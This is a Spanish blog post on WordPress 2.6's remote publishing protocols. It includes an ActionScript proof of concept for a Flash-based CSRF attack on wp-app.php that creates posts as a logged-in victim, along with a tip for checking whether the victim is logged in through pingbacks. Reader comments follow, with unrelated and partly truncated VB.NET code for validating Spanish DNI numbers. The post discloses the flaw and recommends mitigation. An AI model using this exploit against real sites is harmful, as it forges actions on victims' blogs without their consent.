A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.
Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:
function WpApp() {
this.readQueryString();
var blog:String = _params.blog;
if ( !blog ) return;
var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');
r.method = 'POST';
r.data = '<?xml version="1.0" encoding="UTF-8"?>'+
'<rss version="2.0"' +
'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
'xmlns:atom="http://www.w3.org/2005/Atom">'
'<channel>'+
'<atom:entry>'+
'<title>Boo</title>'+
'<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
'<content><![CDATA[boo!]]></content>'+
'</atom:entry>'+
'</channel>'+
'</rss>';
r.contentType = 'application/atom+xml';
navigateToURL(r, '_self');
}
Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀
Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php
) o denegar el acceso al mismo.
[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.
6 replies on “Protocolos de publicación remota en WordPress”
[...] nos avisa de un problema detectado en los protocolos de publicación remota de WordPress. Compártelo ← El tag SPAM [...]
[...] Aunque tuvimos 26 razones por las que debemos ir por WordPress 2.6, dicha versión no fue tan limpia, por lo que sacaron 2.6 Beta 2 que viene con mejoras, algunas mencionadas en aNieto2k, aunque también cuenta con un problemita en protocolos de publicación remota, que pueden arreglarse gracias al tutorial realizado por Buayacorp. [...]
Es que los hackers os las sabéis todas 😉
porfavor nesecito el codigo para probal mi prueba de programa le falta si puede aseme llegar este codigo selo agradesco con el corazon
Dim Letras As String = “TRWAGMYFPDXBNJZSQVHLCKE”
Dim nifNum As Integer
Dim NIf As String = DNIMaskedTextBox.Text
Dim valido As Boolean = True
If Not System.Text.RegularExpressions.Regex.IsMatch(NIf,
valido = False
Else
nifNum = Integer.Parse(NIf.Substring(0, NIf.Length -
If Not (NIf(8) = Letras(nifNum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.cancel = True
Private Sub DniMaskedTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles DniMaskedTextBox.Validating
Dim letras As String = "TRWAGMYFPDXBNJZSQVHLCKE" & "trwagmyfpdxbnjzsqvhlcke"
Dim nifnum As Integer
Dim nif As String = DniMaskedTextBox.Text
Dim valido As Boolean = True
If Not System.Text.RegularExpressions.Regex.IsMatch(nif, "^\d{8}[" + letras + "]$") Then
valido = False
Else
nifnum = Integer.Parse(nif.Substring(0, nif.Length - 1))
If Not (nif(8) = letras(nifnum Mod 23)) Then
valido = False
End If
End If
If Not valido Then
e.Cancel = True
ErrorProvider1.SetError(DniMaskedTextBox, "Error DNI no valido,llene este campo")
Else
ErrorProvider1.SetError(DniMaskedTextBox, Nothing)
End If
End Sub
RESPUESTA A TU PETICION
Private Sub NombreTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles NombreTextBox.Validating
If NombreTextBox.Text.Length = 0 Then
e.Cancel = True
ErrorProvider1.SetError(NombreTextBox, "Error llene este campo")
Else
ErrorProvider1.SetError(NombreTextBox, Nothing)
End If
End Sub
alicia sabalza dice estamos en la era de la tecnologia y debemos saber que esta herramienta nos permite conocer la nueva forma de hablar de pensar y de comunicarnos